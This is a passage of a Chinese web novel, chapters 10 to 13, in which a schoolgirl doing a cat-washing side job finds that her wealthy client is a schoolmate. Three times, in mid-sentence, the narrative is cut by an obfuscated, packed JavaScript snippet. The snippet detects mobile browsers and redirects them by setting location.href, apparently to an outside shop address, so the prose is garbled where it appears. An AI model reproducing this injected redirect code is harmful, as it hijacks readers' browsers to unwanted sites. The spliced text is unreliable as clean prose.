舒禾点点头,回到第一排,看见秦嘉文已经在座位上专注地写课外习题了,心里不禁泛起一阵惭愧,人家年级第一都这么努力,她却还在这里犯困。 第一节语文课,周兰芝将她的考试作文作为范文展示,贴在班级门口供大家参考学习。于是下课后,坐在门边的舒禾就被来来往往的同学一人一句夸赞淹没了。 “卧槽牛逼啊,这样的论据怎么想出来的,太贴题了!” 秦嘉文也去看了,回来感叹道:“写得真好!” 舒禾不太好意思地笑笑,趁此机会虚心请教:“我数学英语太差了,你有什么好的学习方法吗?” 秦嘉文想了想说:“你把你这两科卷子给我看一下。” 舒禾递给他。 他接过,仔细阅览一遍,思索了片刻:“你数学基础不怎么牢固,有几道错题都是课本上的变种,你可以试着在平时作业后,准备一个错题集多总结一下,会发现很多地方都有共通之处。” “你英语的话其实还好,只是可能对语法句式熟练度还不够,想冲刺高分的话,唔……我一般除了老师要求的,还会另外买题册大量练习。” 他的成绩除了天赋之外,也是夜以继日换来的。 迷茫褪去后,舒禾眼神亮了起来,瞬间充满动力:“我知道了,谢谢你!” “不客气。”秦嘉文笑了笑,继而犹豫着说:“如果你需要的话,我们可以周末找家书店一起学习。” 舒禾微怔,这样不行,也太耽误他的时间了。 正无措不知道如何回绝的时候,他补充道:“我语文积累不够,你正好可以监督我,而且作文上的问题你也能帮我看看,到时候你在数学英语上遇到困难也能直接问我。” 相互学习,这也是昨晚刘老师的意思。 舒禾明白了,应下来:“好,那之后要多麻烦你了。” 秦嘉文笑:“哪里,我也得麻烦你。” 中午吃饭的时候,她还在脑海里细细规划着后面的学习。 既然数学基础不行,那就在课本知识上多下功夫,多反思总结。英语题量不够,课余时可以买点题册多做练习,不过…… 一本题册好像还挺贵的。 由于走读,基本没有需要花销的地方,陈燕梅很少给她零花钱,舒禾现在手里攒下的统共还不到一百,而且还有那个杯子,她还想找机会把钱还给贺行雪。 这样一算,貌似钱还不太够用。 虽然只要开口,像这种有关学习的事,陈燕梅肯定会给她补贴,但是不知是出于自尊心,还是欺瞒父母过后的愧疚心理,舒禾隐隐抗拒这个想法。 反正时间还长,她可以先把数学提升上去,其他的延后再视情况想对策。 如此想着连同嘴里的饭菜都变得可口起来。 周末一晃眼就到了。 附中学生是周六下午放学,周天下午返校,有一天的休息时间。 周六晚上,她正同秦嘉文商议明天学习的书店地址,对方发来了一条定位和一段文字。 -秦:我听程敬宇说,你之前是在阿雪外公的书店里学习,要不就继续在那儿吧?正好也很安静。 -秦:我可以和外公说让他帮忙准备桌椅。 秦嘉文也是和贺行雪家里极为熟稔的。 舒禾迟疑地顿了顿,忧心这样会不会太过麻烦老人了,犹豫之时,对面又道: -秦:阿雪不爱出门,他外公常常独自待在书店,偶尔也会想要有人过去热闹一下。或者你有其他想去的书店吗? -禾:没有,就这里吧,离学校也近。 舒禾应下来,和他约好明早九点见,下午五点再一同返校。 翌日早晨,空气清新,舒禾早早起来换衣洗漱,再将书本收拾好,准备就绪时才至八点,但书店要九点才开门,于是她又掏出数学题。 刚一翻开,手机忽然嗡嗡震动了两秒,她以为是秦嘉文,点开才发现,弹出的竟是一条黄色app的消息—— [买家已拍下,待付款。] 闲鱼消息栏里静静躺着这条信息。 拍下什么? 她似乎什么东西也没卖呀…… 舒禾被这消息搞得有点懵,大脑尚未反应过来,手指已经下意识点了进去。 在卡顿的开屏页面一通等待后,里面的未读消息从“1”弹成了“2”。 [买家已付款,等待您发货。] 显示的赫然是那条被她改为999元防拍价的上门洗猫链接。 舒禾:??? 她不可置信地盯着屏幕,脑袋里充斥着混乱的问号,抬眼看了看价格——不是9元,不是99元,确实是999元啊! 舒禾迷惑地瞪着眼睛。 上次寒假她洗过最贵的一只,重达二十多斤、毛超级长的缅因也才两百啊! 谁会花999元让人上门洗猫啊?! 那洗的得是被武松打的品种吧…… 确认自己没有眼瞎,那瞎的肯定另有其人。 舒禾放心了,琢磨了一会儿,觉得这恰好就是瞌睡来了递枕头。 通常来说,这种异常支出不超过两分钟就会被人发现,然后来找她退款。 这样就能顺势询问买家,需不需要改价重新下单,毕竟她正好需要这样的赚钱机会——时间短、按次结算、收入可观,又恰好赶上周末,她有时间。 虽然有点累,会损耗几小时的学习时间,但是利用这几小时就可以换好几本英语习题,还能把水杯钱还回去,不必向父母讨要,似乎也挺不错? 不过若是这样,今早就得爽约了。 舒禾心里做着打算,一边写题一边等待买家消息。 然而这次好像有点不同寻常…… 写完一整页数学题后,舒禾点开手机,还没收到消息,不由皱了皱眉。消息界面还停留在等待发货上,那位买家付完款,就仿佛融进水里一般消失无踪。 她不由自主点进买家主页,名字还是个原始乱码,名称下面显示26 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888991|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分钟前来过。 是付完钱就去忙了吗?不能是个小孩拿父母手机的恶作剧吧……舒禾呆呆地拿着手机,没想明白,怎么会有人如此随意,下单连价格都不看。 视线往下一扫,看见买家简洁的页面上有一条商品信息。 封面是一张房间照片,灰白色调,整洁宽敞,装修得很有质感,一看就知道价格不菲,但是标价却是十分醒目的一个“1.00”。 不知是为了引流还是纯粹犯懒。 舒禾对这个神秘的买家萌生好奇,点进链接看了看。 内容十分简短,完全符合他钱多话少的特征:伦敦转租,1200p/w,包bills。 1200磅一周! 舒禾看了半晌才看明白意思,不可置信地睁大双眼,颇为震惊地在心里换算了一下。 算清楚后,是一段长长的沉默。 她好像知道他为什么下单不看价格了。 舒禾深吸一口气。 别人的999元可能就和她的9元一样,花起来毫不心疼吧……她无不凌乱地想着,紧跟着又在心里反驳了:不,不对,就算是9元她花着也还是有点心疼的!好歹够买两本错题本了呢! 买家下完单就不闻不问了,舒禾却还是得管的,而且她还赶时间,叹着气返回聊天页面,思考了半天,字斟句酌打字。 -你好,这个是防拍价哦,请问是需要上门洗猫吗? 发出去后,她看来看去,总感觉有点生硬,于是又添上一个笑脸表情。 毕竟这单来得如此天时地利,可不要黄了。 消息发完,只等买家回复。 舒禾觉得这大概会是一个漫长的过程,不想浪费时间,于是又翻开数学题做起来。 果不其然,手机再次震动起来时,她的数学题已经翻到新的一页。舒禾拿起手机的时候还有点略微紧张,万一他回复说不需要怎么办? 偏偏手机又极为卡顿,等了又等,心焦意乱之时,消息终于跳出来: en。 嗯? 这是字都还没来得及孵化成型,就被人着急忙慌抛洒出来了。 舒禾无语地感叹,原来有钱人是真的如此日理万机,回消息都要挤着空隙。 紧迫感瞬间就提上来了,趁着他刚回过信息,应当还在使用手机,舒禾两指飞快地打字道:请问是什么猫呢?多重?有无伤人历史?疫苗齐全吗?什么时间呢?地址和订单信息是同一个吗? 一气呵成地打完发送,她才想起来自己还没有去看买家地址,正好也要等待回复,舒禾便翻找着订单发货信息,若是太远她就不去了。 翻着翻着,四个映入眼帘:臻山壹号。舒禾手指讶异地顿住,这不就是她附近那个,传闻里是蓉城贵胄聚集的传统富人区吗? 对方这次回得倒是挺快,舒禾还在愣神的时候,上方弹出一个消息框,竟是明晃晃三个大字:不知道。 不知道?? 舒禾又迷惑了,目光直直钉在屏幕上,仿佛想穿透网线看到对方到底是何方神圣。 好在这位买家还没有那么丧心病狂,下一句便简短但好歹回复了她的问题:15,我,齐,快,嗯。 她默了默。 有那么一瞬间,舒禾要开始怀疑自己看不懂中文了。 宛如乱码的一串字,不知道的人一定会以为这是个什么独特的暗号。 她腹诽两秒,将这“暗号”一个个对照着自己的问题,才明白了过来,而后回道:是长毛短毛呢?短毛100,长毛140,我给您修改一下链接[笑脸]。 手机的另一端,贺行雪视线抬了抬,看着被自己关进卫生间,还在咚咚咚刨门的三花猫,深深拧起了眉。 修长手指迫切地打字回道。 -先来。 11. 第 11 章 舒禾先给秦嘉文发了条消息,解释自己有事可能要午饭后到书店。又立马联系了任姝宁,向她家借了个烘干箱。 任姝宁家里是干宠物洗护的,去年寒假舒禾就去过她那边打工——比起自家给人类洗头的理发店,她还是更愿意和小猫小狗打交道。 经历一寒假的磨练,她的洗猫技能已经相当娴熟。 宠物店不远,拿到烘干箱,舒禾抱着便忙不迭赶往臻山壹号。 因为离得近,她其实不是第一次来这边,但还是再次被这座气派的大门深深震撼到了。今天气温如蒸笼一般,舒禾抱着背着一堆东西,汗意淋漓,边打开订单地址边走去保安亭。 “你好,请问17栋在哪里呢?客人预约了上门洗猫。”舒禾礼貌问道。 闻言,保安奇怪地多看了她两眼——这事儿早上有人知会过,可业主不是说大概是年纪三十往上的大姨吗?这怎么来的是个小姑娘? 但他仔细瞅了瞅订单信息,确实是那户业主没错,于是问:“还有同行的人吗?” 舒禾摇了摇头:“没有了。” 保安内心嘀咕着怪哉,一面又带着她往里走:“业主提前打过招呼了,司机现在开接驳车送您进去。” 舒禾下意识想说不用麻烦,她自己走进去就行了。但是看门口已经停着一辆接驳车,想来是都安排妥当了,便又咽了回去。 很快她就开始庆幸自己没有说出口—— 刚坐上车时,舒禾本来还在车上沉浸欣赏园林美景,各式精致的造型目不暇接,接着又经过一大片青绿色高尔夫球场,一望无际的大草坪点缀着寥寥几个人影,蓝天白云,仿若油画一般美不胜收。 但看着看着,她渐渐意识到不对劲,这也太久了吧。 等到终于停车后,她低头看了眼时间,竟然都过了快二十分钟!这还是坐车进来的,怪不得安排得这样细致,若是用腿走进来得多久啊…… “到了,就是这里,需要帮忙吗?”司机给她指了指位置,见她小小一个带了一大堆东西,不由问道。 “不用不用,谢谢。”舒禾礼貌拒绝了。她不是第一次接上门洗猫的单子,这些重量还勉强承担得起。若是等会儿让业主看到她连洗猫工具都搬不动,该质疑她的水平了。 臻山壹号是独门独院,舒禾先打开了挂在胸口以防意外的摄像头,再拖着一大堆东西走到最外面的院门口。 这是一道黑色嵌金的铝艺门,旁边立柱上有一个可人脸识别的对讲机,她把脸凑过去,细细研究片刻,摁响了屏幕上的门铃标识。 “嘟——” 屋内,贺行雪在一楼沙发上边打游戏边等,客厅卫生间的门被大猫从里面刨得砰砰响,听得整个人心浮气躁,游戏也专注不进去。 不知多久,迫切等待的门铃终于响了。 他立刻扔下手机跨步过去,迫不及待地就要按下开门键,然而视线一晃,瞥见那张非常熟悉的面容,手指惊骇地顿住了。 女孩子的脸极近距离呈现在高清屏幕上,黑圆的眼睛,扑簌簌的睫毛,阳光下白玉透红的面颊,通通涌进他的视线—— 贺行雪瞳孔一点点地放大。 他不就几天没去学校吗。 这个荷包蛋怎么还追到他家里来了!! 贺行雪震惊不已,下意识看了看自己的穿着。 恒温的屋里,他只穿了件单薄的长袖居家服,松松垮垮,连纽扣都没系到最上方,漏出一片锁骨。 给人一种,稍稍用力一扯就能扯掉的感觉。 门铃又响了一声,贺行雪赶紧止住自己发烫变歪的思维,匆匆跑到电梯间摁下三楼,怀着满脑子“孤男寡女共处一室”这些词汇,他的脑子闷闷胀胀,回自己房间飞快捣鼓了一番。 收拾完复又回到一楼,他沉着脸,盯视屏幕里此刻女生皱起眉毛的脸,恶狠狠按下开门键。 这个荷包蛋实在是……实在是太放浪形骸了! 他倒要看看,她追到自己家里来是要做什么。 院门终于开了。 舒禾差点要给他打语音通话过去,见此便放下手机,哼哧哼哧地拖着东西,一路穿过宽敞的花园,心里因为苦等许久陡生了几缕怨气,都没心情欣赏园内美景了。 花园小径尽头便是大门,舒禾抵达后,腾出手敲了敲门。 这次没让她久等,门内很快传来动静,仿佛主人早在屋内等着这一声敲门。 舒禾还没来得及想他刚才为什么不顺手将这道门也打开时,门锁咔擦地转动一声。 门开了。 只吝啬地开了一条缝。 舒禾伸手直接扒拉开,抬眸一望,毫无准备的,就和屋内散发怨气的臭脸男生对上了目光。 心跳一滞,她缓缓睁大了双眼,脑子如同生锈的门锁般停止转动。 “你……” 贺行雪冷着脸打开门,原本准备好的腹稿,却在看见女生怀里抱着的烘干箱时,骤然消散。 视线在上面顿了半晌,渐渐明白过来似的,慢慢蹙起了眉。 ……他想错了? 今早外公外婆各自出门后,贺行雪翻来覆去睡不着,罕见地爬起来准备吃个早餐,结果下楼电梯门一开,竟一股恶臭扑鼻! 他定眼一看,那只大猫尾巴上居然粘着一团粑粑!还在满屋子上蹿下跳蹭得到处都是! 有那么一瞬间贺行雪觉得自己是在做噩梦。 可呼吸间那股味道臭得无比真实,偏巧又逢上容姨家里有事请假三天,才给了这猫作案之机。贺行雪心里崩溃,立刻打电话叫了钟点工清理家里,又上闲鱼搜了个距离最近的上门洗猫员,匆匆下单后便去把猫赶进卫生间。 这个上门洗猫员的头像他记得清楚,是朵盛开的莲花,哪里会是十几岁女孩子用的?分明往三十岁预估都是保守了,可是眼前来的人…… 贺行雪看着门口女生,觉得今天这日子绝对跟自己犯冲。 舒禾缓了好一会儿,才接受了那个人傻钱多的买家是自己前校友这件事情。 她讷讷看着他说:“……是你下的单吗?那个……上门洗猫。” 说完,顿时就感觉自己问了句废话。 她迎着男生打量的眼神,那种久违的不自在又浮了上来。 为图洗猫方便,她今天穿得极其随意,一件洗得发白的黄色短袖,和一条防止溅湿水的短裤。 本来觉得没什么,就是普普通通抿于人群的穿搭。可现在再一看眼前这个男生——内里穿着菱格撞色上衣,外面套了件黑色连帽针织薄衫,身形挺括,肩宽腿长地往这里一站,说这儿是他的走秀台她都信。 舒禾第一反应是,他不热吗?旋即便感受到了屋里涌来的阵阵凉风,她默了默,镇静的笑容里藏了丝尴尬:“那个,我来洗猫,是上次见过的那只三花吗?” 她统共也就在书店遇见了一次。 贺行雪还是很难相信地看了她一眼。 荷包蛋真是来洗猫的啊。 他恍然点头,又皱起眉:“它尾巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888992|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,粘了,粘了……” 粘了什么,后面那个词仿佛难以启齿似的。 舒禾懂了,这种情况也不是没遇见过,她很快把情绪调整至工作状态中,一边穿鞋套一边问道:“拉肚子了是吧?” 贺行雪:“应该是。” 舒禾:“猫在哪?” “卫生间。” 他走在前面引路,舒禾跟在后面进屋,走到阔大的豪宅客厅,隐隐有种刘姥姥进大观园的感觉。 两人停在卫生间门口。 那只三花舒禾见过,是很亲人的性子,只是猫科动物天性警惕,以免发生意外,她还是拿出提前准备好的冻干零食,准备先安抚一番。 手搭上门把手,开门前她问道:“它叫什么名字?” 贺行雪:“猫。” 舒禾顿了顿,疑惑地回头看他一眼,确认自己没听错:“叫什么?” 贺行雪皱眉,似乎有点不耐烦:“猫,叫猫。” 舒禾胸口哽了哽,窘迫笑道:“哈哈,这么随便嘛……” 贺行雪随口道:“它自己起的。” 当初他在路边捡到它,问它叫什么名字。 它蜷在地上,向他虚弱地“猫”了一声。 于是他把它从冰天雪地里带回家,从此以后,贺行雪就有了只叫“猫”的猫。 “……” 舒禾突然觉得,这个男生脑回路似乎有点不正常。 但她没说话,转头小心翼翼推开一个门缝,湿漉漉的小猫鼻子顿时挤了出来,在那里呼哧呼哧的。 天啊太可爱了!舒禾心里不断感叹,上次在书店就很想摸摸它,这次居然直接能给它洗澡了! 一个猫鼻子就把她给俘获了,舒禾心生怜爱,轻声逗弄它:“小猫小猫,我们又见面啦。” 这细声细气的嗓音吸引了贺行雪的目光,他不由自主地垂眼看过去,女生蹲在卫生间门口,歪着脑袋,伸出一截白皙手臂,一晃一晃地逗弄门缝里的小猫,连带着她脑袋后面扎起来的小啾,也一晃一晃的。 晃得贺行雪有点眼花,他闭了闭眼。 没成想视觉被隔断后,听觉就变得尤为灵敏,女孩子甜腻的声音越来越清晰地闯入耳中: “小猫,待会儿要洗澡了哦,怕不怕呀。” “别怕别怕,我会很小心的,不会把水溅到你耳朵眼睛里。” “一会儿你要乖乖的,我奖励你零食吃呀。” 一声接一声,一声又一声,是和平时完全不同的嗓音,软和的,仿佛被水洗过一般,湿淋淋,连带着婉转起伏的腔调,一丝不落地尽数灌进他的脑海。 身体不知哪处开始发烫,像沸水一样滚过了全身,他蓦然有种头不是头脚不是脚的怪异感觉。 贺行雪倏地睁开眼,睫毛微颤。 荷包蛋这就开始使用她的绝招了吗? 呵,大招面前谁不避谁是傻蛋,贺行雪心绪百转,决意暂避风头,等待他蓝条恢复后再同她一决胜负。 “它的洗护用品在柜子里,你慢慢洗,我回房间睡个觉。”他佯装困顿地打了个哈欠。 舒禾闻声回头看了他一眼,点点头没怎么在意。 可偏是她这副不甚在意的神情,更让贺行雪觉得这是故意为之,心中冷笑了声。站在电梯厢里的时候,他还耿耿于怀这件事。 安静密闭的空间里,仿佛能听见心脏在突突地跳动。 他不由安慰自己。 他这招叫战术撤退,可不是临阵脱逃。 12. 第 12 章 贺行雪一回房间,就把自己扎进床褥中,闷了许久,直到快不能呼吸的时候,才往一旁翻了个身。 房间里很是寂静,他瘫在床上,仰头注视吊顶,渐渐的,无意识屏了屏呼吸,凝神想要窥听楼下的动静。 结果当然什么也没听见。 他又沉重地喘了两口气,数着时间发呆。 感觉瘫了许久,拿起手机一看,居然才过去两分钟。他心烦意乱地关掉,无所事事地胡思乱想,把从小到大做过的丢人的事情都回忆个遍,又故意多忍耐了一会儿,再拿起一看,竟也才蜗牛似的过了五分钟!怕是连猫的底绒都没有打湿透彻。 贺行雪觉得不能这样干耗着,便给程敬宇打了语音,叫他上线打游戏,程敬宇很快回了“ok”。 一局结束,终于半小时过去,他说了声“不打了”,里头立刻传来好兄弟的怒骂:“贺行雪我他妈刚热身完,手感都上来了,你突然不打了耍我呢!” 他果断退出游戏,隔绝了骂声。数着时间,又在房里坐了十分钟,才慢条斯理起身下楼。 出门前路过一面全身镜,不经意地照了照。 楼下。 猫已经洗完放进了烘干箱,按以往经验,差不多要吹一个多小时。舒禾将卫生间里乱飞的猫毛清理干净,才汗涔涔地走出来,准备找个凳子歇一歇。 没想到刚踏出去,就看见客厅里,直挺挺立着一个当电线杆的男生。 她愣了愣,不知怎的,突然回忆起自己刚才趁他不在,在洗澡时玩弄了好一会儿小猫。 心里还有点不好意思,脸颊粉扑扑的。 工作时间怎么能玩弄客户呢。舒禾默默谴责自己。 屋子主人都站着,她也不好去坐下,静默片刻,只能没话找话地说:“猫猫刚洗完,你……睡醒了呀?” 这样纯粹客套的招呼,一落在贺行雪耳朵里,就完全变了味道—— 荷包蛋这就开始好奇地窥探他的起居了。 心思如海啊。 贺行雪内心冷哼,暂没回答,目光黑压压地循声过去,落在卫生间门口的“洗猫工”身上。 舒禾刚洗完猫,还没来得及打理自己,衣裳有几处溅了几滴水,隐隐透着布料底下白皙的肤色,半粘不粘地贴在腰窝上。 卫生间关着灯,阳光从后方窗户里斜照进来,柔柔地勾勒她的身形。 昏昧处,隐隐约约显着青涩起伏的轮廓。 他简直猝不及防,视线在那里一触即离,猛地偏过脑袋,胸腔里霎时像是炸开了烟花,噼里啪啦响个不停。 贺行雪头脑眩晕了好半晌,一会儿暗恼这个女生心计深沉一定是故意的,一会儿便将其否决,觉得她神情太过无辜,一会儿又在心里冷呵,这是他自己家里有什么好怕。 不管怎样,那个画面依旧在脑海中沉沉浮浮。 他目视地面,奋力从杂乱的神志里冲出来,半晌,找不清调地“嗯”了声,算是回答她的问题。 但屋里太过空旷安静,一出声才发觉声线是抖的,他顿觉失面,慌慌抬头,三步并两步去冰箱里拿汽水喝。 身影如狂风刮过。 舒禾还愣在原地,皱眉观看他的怪异行为。 所以,穿这身衣服果然还是热的吧,他连耳朵都红透了,脑子看起来也闷得不太精明。 但她到底没多管闲事,跑去看烘干箱里的小猫了。 冰箱在厨房的拐角处,刚好能够隔绝客厅的视线,贺行雪没料到自己手也是抖的,易拉罐的拉环拉了好几次,才险险抠开,噗呲一声响,气泡绵密地在心上滚来滚去。 他喉结滚动着囫囵咽下好几大口,才让冰凉勉强抚平了体内的躁动。 明明在自己家里,可他一时竟没敢出去,就着汽水,靠墙发了会儿呆。 脑海里一会儿响起女孩甜甜软软的声调,一会儿又浮现那若隐若现的轮廓,那画面刚出来,立刻就被他狠狠闭眼屏蔽掉,心道荷包蛋这出连环计,简直令人防不胜防啊。 贺行雪不甘落于下风,想了想,又从冰箱里取出一罐汽水,尽量平静地走了出去。 烘干箱置在电视墙旁边,三花猫毛发乱飞蜷在里面,很乖很安静,倒是外面的人类在小心翼翼张牙舞爪地逗着它。 “小猫,你现在好像一只小狮子呀,啊呜啊呜~”她模仿着那副凶神恶煞的样子。 贺行雪表情嫌弃地听着,半晌,才提步过去。 “喝不喝。” 他停在蹲着的舒禾面前,冷淡地将汽水递出去,眼神落在了别处。 舒禾微微诧异地扬起头。 男生一副懒散的姿态,似乎还略藏了些许不耐烦,撇过脸不看她,大概是出于客套站在这里,连问句都变成了平冷的陈述。 她怕他拿久了暴躁,伸手接过,轻轻说了句“谢谢”,暂时没准备喝。 随后想起这单的价格问题,便从烘干箱前站起身,准备同他仔细说说,然而还没来得及开口,就眼睁睁看着男生仿佛避瘟疫一样,立刻往她远处快走了好几步。 转而又好像意识到自己举动太过突兀,僵僵地走到最近的沙发上坐下。 “……” 舒禾不知怎么有点气地盯住他。 这目光太过直白,贺行雪莫名坐立难安,眉眼低敛幽冷道:“怎么,我脸上有金子啊。” 舒禾嘴唇抿了又抿,想起他那副避瘟疫的样子还是很气,小声轻飘飘怼了句:“你头上有呆毛。” 放屁,他下楼前才照了镜子的。贺行雪把这句反驳压了回去,没说出口。 在家里还要时刻照镜子,这样显得他在她面前也太在意形象了。 他可不想让她误会,免得她越陷越深。 贺行雪自觉做了次好人,心里那股不自在勉勉强强消了下去,只是依旧不去看她。 “还要吹多久?” “应该还要一个多小时。” 他们还得面面相觑这么久?贺行雪微微皱眉:“不能快点?” 舒禾站在旁侧,摇头说不行:“没吹干容易得皮肤病的。” 贺行雪“哦”了声,目视前方没说话。 偌大的客厅安静下来,仅有极轻微的风声。这样的安静本该是习以为常的,但贺行雪不知道自己哪里不对,明明屋子里只是多了个没什么存在感的人,但却总觉得难以适应,甚至身体都渐渐起了战栗。 他开始想着要不要继续打游戏消耗时间。 他陷入纠结时,舒禾刚思考完措辞,抬起眼公事公办道:“一会儿吹完毛,我会给它剪指甲剃脚毛,再给你清理好卫生,这单就结束了,费用一共是140,我现在去把之前999元的链接关闭,重新开一个,需要麻烦你再下一次单哦。” 言辞间很是礼貌客气,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888993|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有把他当作一个有过几面之缘的校友,完全是对待普通买家的态度。 贺行雪偏就听着不爽,在她解锁手机准备操作时冷声打断:“不用。” 舒禾一愣:“啊?” 贺行雪:“就这样吧,不用退。” 他想不清楚不爽的源头在哪,只能归咎于病症又加重了,整个人都有些消沉下来,眼皮恹恹地耷着。 舒禾有些难以置信地看着他,提醒道:“你付的是999元诶!” 贺行雪:“嗯。” 他毫不在意,甚至眼皮都阖上了,看起来像要睡觉。舒禾胸口哽了哽,这就是富人的生活吗,一千元说扔就扔了,对比起来自己着实有点惨。 她只伤春悲秋了十秒,继续接着上个话题:“不行,或许你是不在意,但是我不想拿工作之外的钱。” 贺行雪懒得睁眼:“这是你的事情。” 舒禾觉得和这个人好难沟通,还阴晴不定的:“这是我们之间的交易,服务内容和价格都有明确标明。” 贺行雪说:“我多付钱有什么问题?” 舒禾想不明白:“你为什么要多付钱?” 贺行雪:“因为我钱多。” 说完又慢吞吞补了一句:“多得没地方花。” 舒禾捏了捏拳:“……你留着以后慢慢用,这次的我先给你退掉。” 贺行雪仿佛和她杠上了:“不要。” 舒禾提了提声:“为什么?” 贺行雪说:“因为我懒得动。” 舒禾心里咬牙:“我可以帮你操作。” 贺行雪:“我不喜欢别人碰我手机。” 舒禾忍不住了:“贺行雪!” 他略诧异地掀开眼皮。 舒禾正瞪着他,一双杏仁眼黑黝黝的,脸颊好似被气得有些泛红,平日里温吞的神情都消失不见。 生气的荷包蛋,有点少见。 贺行雪心情莫名其妙又转好了。 他也不再同她作对,想了想,说:“阿姨这两天请假,堆了几件衣服,我自己懒得动,你帮我放进洗衣机,多余的钱就当报酬,怎么样。” 花八百多就让人把衣服放进洗衣机。 专业洗衣店都没这么赚吧。 经过刚才那一通理论,舒禾实在已经累得不想再和他争执了,也彻底打消了还他水杯钱的念头。 八百多都磨破嘴皮了,那几十块怕要说到明天去。 于是她答应了:“好,衣服和洗衣机在哪里?” 贺行雪从沙发上起身,边走边说:“洗衣机在后花园,从厨房进去,我上楼把衣服拿下来。” 舒禾“啊”了一声。 他自己都把衣服拿下来了,那她做什么? 坐在一楼等着他送进自己手里,然后她从客厅走到厨房后面放进洗衣机? “要不,”还是说服不了自己,舒禾叫住他,“你告诉我在哪,我去拿吧。” 贺行雪脚步顿了顿,半侧过身,看了过来。 眼神略带异样。 “我的卧室,你要进去吗?” 舒禾:“……” 不知怎么的,她本来觉得进卧室拿衣服没什么,但被他一字一句说出来,脸颊就一阵阵发烫。 仿佛这是个多么隐秘的事一样。 她声音低下去,讷讷地“哦”了一声,不再说话。 13. 第 13 章 脏衣篓里只有一套昨晚换下来的衣服,贺行雪弯腰随手捞到怀里,掂了掂,觉得似乎有点太少了,显得太刻意,他站在原地纠结了片刻,转身走到衣帽间,挑挑选选,最后从衣柜里扯了两件短袖出来。 这样就差不多了。 乘电梯回到一楼,舒禾还站在原地等待,听见电梯门开的声音,她赶紧小跑过来,双臂微张着,接过他手中的衣物。 有那么一瞬间,贺行雪差点误会她是要跑过来抱住他,下意识退了一步。 “只有这么一点吗?”舒禾看着手里的衣服问。 “……” 贺行雪还沉浸在刚才的脑补中,顿了顿,别过头,含糊地“嗯”一声:“用最外面的洗衣机,记得点烘干,我上楼睡会儿。” “好的。” 舒禾目送男生进到电梯,才转身抱着衣服哒哒哒跑到厨房里。 怀里一直徐徐飘着那股熟悉的苦橙味,舒禾轻轻嗅了嗅,不由心里嘀咕,这些衣服怎么闻起来跟刚洗过一样,什么洗衣液留香这么久? 少爷果然还是少爷,连穿过的衣服都是香气盈盈的。 厨房明亮宽敞,中间设了大理石岛台,贺行雪说的那门很显眼,就在最里面贴着墙,可以透过厚玻璃看到外面绿意盎然的后花园。 径自欣赏着门外绿叶阳光,舒禾一边感叹居住在这样的环境还会有什么烦恼,一边踱步过去将门推开,目光大致一扫,紧挨厨房的墙角处放置了两台洗衣机,她依言把衣服放进最外面那台,起身拿洗衣液的时候,却犯了难。 架台上整整齐齐排列着色彩各异的洗衣液,估摸着能有七八瓶,其中四瓶看起来是开过封的,舒禾皱了皱眉,不太懂这里面有没有什么讲究,又怕给人衣服洗坏了赔不起,下意识想上闲鱼问问贺行雪,才想起来他刚说要睡觉。 纠结须臾,还是决定不能扰雇主好梦。 没办法,她只好一瓶瓶拿起来翻看中文标签。 目光触及第一个瓶身上的“迷迭香”几个字,舒禾动作一顿,忽而想起自己总能在他身上闻到的那股幽微的橙香,清淡通透,仿佛置身于深冬的橘子林。 她将手中的放回原处,接着一瓶瓶找了过去,终于在中间那瓶上看见印着的“蓝丝柏与苦橙叶”,应该是这瓶了吧。 味道名称也好独特。舒禾开盖时凑近闻了闻,鉴定为贺少爷同款味道,只不过是MAX浓缩版。便放心地挤了些许进去,再设置好洗衣模式和烘干。 一切做完,舒禾瞅着那瓶洗衣液,看了又看,还是忍不住拿起手机搜同款。 没办法,这个味道不仅好闻,闻久了还总觉得精神舒缓,她想着,若不是太贵可以买一瓶试试,当作学习之余用来放松精神的物品。 大龄手机漫长加载过后,屏幕上同款商品跳了出来,规格五百毫升一瓶,有点少。 她视线下滑一看价格,居然快到两百了。 乍一看感觉还好,似乎不算特别贵,但舒禾想到家里那桶四斤装的洗衣液,顿时冷静下来关掉了手机。 她突然觉得,二十块一桶也挺好用的。 回到客厅,猫猫还在烘干箱里舞狮,屏幕上显示还剩一小时,舒禾逗它玩了一会儿,又抓紧时间翻出题册,埋头在餐桌边做完几页,烘干箱便“嘀嘀”停止了。 刚洗完的小猫温热香软,舒禾抱在怀里给它把毛毛梳顺,随后起身去拿剪指甲的工具。 然而猫猫一脱离控制,顿时如脱缰野马,在客厅上蹿下跳,舒禾心惊胆战地看着,生怕它把什么东西碰碎,急忙追赶在猫屁股后,奈何小猫身影矫健,她一捞一个空,还差点把自己给摔了。 舒禾累得不行,喘着气停下来,四处观察。 